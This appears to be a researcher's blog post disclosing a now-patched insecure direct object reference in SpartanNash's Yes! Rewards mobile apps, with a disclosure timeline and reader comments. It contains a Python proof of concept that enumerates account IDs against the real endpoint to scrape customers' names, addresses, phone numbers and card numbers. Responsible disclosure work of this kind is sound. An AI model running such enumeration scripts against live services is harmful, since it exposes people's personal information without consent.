SpartanNash, formerly Spartan Stores, is a food distributor and grocery store retailer headquartered in Byron Center, Michigan. Some of the popular grocery store chains they own include: D&W Fresh Market, Family Fare, VG’s Grocery, and Glens Markets.
They offer a loyalty program called Yes! Rewards, which allows customers to receive everyday savings, digital coupons, free and low cost prescriptions, and savings on fuel.
My buddy Adam Logue assisted in finding and disclosing the vulnerability with me. We discovered the vulnerability after digging deeper into the iOS and Android applications to see how they worked. Using Burp Suite, we intercepted the requests being made from the app.
We discovered the unid was just a unique id number for each account and we found it vulnerable to an insecure direct object reference. To test this, I logged in to my Yes! Rewards account and intercepted the request, swapping my unid with Adam’s.
When we sent the request to the Burp Repeater, we found this response:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
"result": "SUCCESS", "unid": "-redacted-", "card": "-redacted-", "firstname": "Adam", "lastname": "Logue", "address": "-redacted-", "aptsuite": "", "city": "Grand Rapids", "state": "MI", "zip": "-redacted-", "phone1": "-redacted area code-", "phone2": "-redacted first three digits-", "phone3": "-redacted last four digits-" |
Below is a python proof of concept that demonstrates enumeration of personal information. The applications have been patched and this code will no longer work.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
import requests import string #get rid of pesky insecure ssl warnings each time requests.packages.urllib3.disable_warnings() counter = 1 while True: r = requests.get("https://yes.spartanstores.com/mobile2.nsf/A_GET_CONSUMER_PROFILE_JSON?OpenAgent&unid=%d"%counter) if 'FAILED' not in r.content: #pulls user ID number uid = r.content.split("\"")[7].split("\"",1)[0] #pulls user card number cardnum = r.content.split("\"")[11].split("\"",1)[0] #pulls user first name fname = r.content.split("\"")[15].split("\"",1)[0] #pulls user last name lname = r.content.split("\"")[19].split("\"",1)[0] #pulls user address address = r.content.split("\"")[23].split("\"",1)[0] #pulls user city city = r.content.split("\"")[31].split("\"",1)[0] #pulls user state state = r.content.split("\"")[35].split("\"",1)[0] #pulls user zip zip = r.content.split("\"")[39].split("\"",1)[0] #pulls user phone1 phone1 = r.content.split("\"")[43].split("\"",1)[0] #pulls user phone2 phone2 = r.content.split("\"")[47].split("\"",1)[0] #pulls user phone3 phone3 = r.content.split("\"")[51].split("\"",1)[0] #prints information in an easy to read format print('{},\t{} {},\t\t{} {} {} {},\t\t({}){}-{},\t{}'.format(uid, fname, lname, address, city, state, zip, phone1, phone2, phone3, cardnum)) counter += 1 |
This script could essentially could dump the information for all of the customers letting a malicious attacker gain access to personally identifiable information.
Other vulnerabilities discovered in this application worth mentioning included the ability to clip coupons for other customers, add and remove other customers from Yes! Rewards clubs, and view transaction details from other customers. On the Android application, we also had the ability to edit customer profile information. Many of these vulnerabilities were the result of insecure direct object references discovered by substituting another persons rewards card number. All of the vulnerabilities discovered have been patched.
Disclosure Timeline
10/14/2015: Vulnerability Discovered
10/15/2015: Contacted SpartanNash customer service in attempt to make contact with the proper individuals.
10/16/2015: Received call back from Rob Hoffman and Darryl Grimes, emailed vulnerability information, including PoC.
10/22/2015: Received follow up email asking to discuss the fix further. iOS and Android application updates were pushed to the App Store and Play Store.
10/24/2015: Conference call with Rob Hoffman and Darryl Grimes from SpartanNash discussing the patch.
10/25/2015: Fix Confirmed
A special thanks goes out to Rob Hoffman and Darryl Grimes with SpartanNash for fast communication and quickly patching the vulnerability. They were a pleasure to work with. Also to Adam Logue for assisting with the finding, PoC, and disclosure.
Nice find. Even i am doing mobile app pentesting for awhile. The major drawback is that the apps don’t enable ssl pinning. right?
SSL pinning can actually be bypassed with jail broken phones but it is another excellent line of defense. The biggest issue in this case is the application did not have any kind of session token associated with the session. So when we tampered with the GET requests there was nothing in the request to tell the server who was requesting the information to verify whether they had permission to view it.
To fix this issue they just created a session token that was added to the requests that checked the permissions of the user.
Nice work, good find.
I appreciate you sharing this forum. Cool. Luebbert